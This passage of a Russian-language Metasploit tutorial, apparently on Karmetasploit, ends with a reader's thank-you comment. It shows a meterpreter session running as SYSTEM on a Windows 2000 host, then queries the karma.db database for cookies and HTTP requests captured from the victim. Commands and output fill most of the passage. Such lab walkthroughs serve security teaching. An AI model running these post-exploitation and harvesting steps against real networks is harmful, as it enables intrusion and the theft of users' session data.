Теперь у нас есть доступ к системе, посмотрим наши права и возможности в ней.
msf auxiliary(http) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process list ============ PID Name Path --- ---- ---- 144 smss.exe \SystemRoot\System32\smss.exe 172 csrss.exe \??\C:\WINNT\system32\csrss.exe 192 winlogon.exe \??\C:\WINNT\system32\winlogon.exe 220 services.exe C:\WINNT\system32\services.exe 232 lsass.exe C:\WINNT\system32\lsass.exe 284 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 300 KodakImg.exe C:\Program Files\Windows NT\Accessories\ImageVueKodakImg.exe 396 svchost.exe C:\WINNT\system32\svchost.exe 416 spoolsv.exe C:\WINNT\system32\spoolsv.exe 452 svchost.exe C:\WINNT\System32\svchost.exe 488 regsvc.exe C:\WINNT\system32\regsvc.exe 512 MSTask.exe C:\WINNT\system32\MSTask.exe 568 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 632 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe 696 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 760 Explorer.exe C:\WINNT\Explorer.exe 832 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 848 rundll32.exe C:\WINNT\system32\rundll32.exe 860 VMwareUser.exe C:\Program Files\VMware\VMware Tool\VMwareUser.exe 884 RtWLan.exe C:\Program Files\ASUS WiFi-AP Solo\RtWLan.exe 916 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 952 SCardSvr.exe C:\WINNT\System32\SCardSvr.exe 1168 IEXPLORE.EXE C:\Program Files\Internet Explorer\IEXPLORE.EXE meterpreter > ipconfig /all VMware Accelerated AMD PCNet Adapter Hardware MAC: 00:0c:29:85:81:55 IP Address : 0.0.0.0 Netmask : 0.0.0.0 Realtek RTL8187 Wireless LAN USB NIC Hardware MAC: 00:c0:ca:1a:e7:d4 IP Address : 10.0.0.100 Netmask : 255.255.255.0 MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 meterpreter > pwd C:\WINNT\system32 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Чудесно, как и в любых других предыдущих векторах атак наша Meterperter сессия работает как положено.
Однако не всегда все так просто, иногда стандартный вывод задействовать не возможно. Давайте рассмотрим еще один метод доступа к регистрационной информации. Мы будем работать с базой karma.db, которая по умолчанию создается в домашнем каталоге.
Откроем ее с помощью sqlite, далее дамп schema.
root@bt4:~# sqlite3 karma.db SQLite version 3.5.9 Enter ".help" for instructions sqlite> .schema CREATE TABLE hosts ( 'id' INTEGER PRIMARY KEY NOT NULL, 'created' TIMESTAMP, 'address' VARCHAR(16) UNIQUE, 'comm' VARCHAR(255), 'name' VARCHAR(255), 'state' VARCHAR(255), 'desc' VARCHAR(1024), 'os_name' VARCHAR(255), 'os_flavor' VARCHAR(255), 'os_sp' VARCHAR(255), 'os_lang' VARCHAR(255), 'arch' VARCHAR(255) ); CREATE TABLE notes ( 'id' INTEGER PRIMARY KEY NOT NULL, 'created' TIMESTAMP, 'host_id' INTEGER, 'ntype' VARCHAR(512), 'data' TEXT ); CREATE TABLE refs ( 'id' INTEGER PRIMARY KEY NOT NULL, 'ref_id' INTEGER, 'created' TIMESTAMP, 'name' VARCHAR(512) ); CREATE TABLE reports ( 'id' INTEGER PRIMARY KEY NOT NULL, 'target_id' INTEGER, 'parent_id' INTEGER, 'entity' VARCHAR(50), 'etype' VARCHAR(50), 'value' BLOB, 'notes' VARCHAR, 'source' VARCHAR, 'created' TIMESTAMP ); CREATE TABLE requests ( 'host' VARCHAR(20), 'port' INTEGER, 'ssl' INTEGER, 'meth' VARCHAR(20), 'path' BLOB, 'headers' BLOB, 'query' BLOB, 'body' BLOB, 'respcode' VARCHAR(5), 'resphead' BLOB, 'response' BLOB, 'created' TIMESTAMP ); CREATE TABLE services ( 'id' INTEGER PRIMARY KEY NOT NULL, 'host_id' INTEGER, 'created' TIMESTAMP, 'port' INTEGER NOT NULL, 'proto' VARCHAR(16) NOT NULL, 'state' VARCHAR(255), 'name' VARCHAR(255), 'desc' VARCHAR(1024) ); CREATE TABLE targets ( 'id' INTEGER PRIMARY KEY NOT NULL, 'host' VARCHAR(20), 'port' INTEGER, 'ssl' INTEGER, 'selected' INTEGER ); CREATE TABLE vulns ( 'id' INTEGER PRIMARY KEY NOT NULL, 'service_id' INTEGER, 'created' TIMESTAMP, 'name' VARCHAR(1024), 'data' TEXT ); CREATE TABLE vulns_refs ( 'ref_id' INTEGER, 'vuln_id' INTEGER );
Давайте теперь попробуем извлечь нужные нам данные из schema. Во-первых перечислим информацию о системах к которым нам удалось подключиться и создать сессию. Затем просмотрим всю перехваченную информацию, связанную с этими хостами.
sqlite> select * from hosts; 1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86 sqlite> select * from notes where host_id = 1; 1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com __utma=183859642.1221819733.1241334886.1241334886.1241334886.1; __utmz=183859642.1241334886.1.1.utmccn=(organic)|utmcsr=google|utmctr=firefox|utmcmd=organic 2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF 1.9.0.10
Великолепный перевод! Большое спасибо! С нетерпением жду продолжения!
С уважением, Chekopay!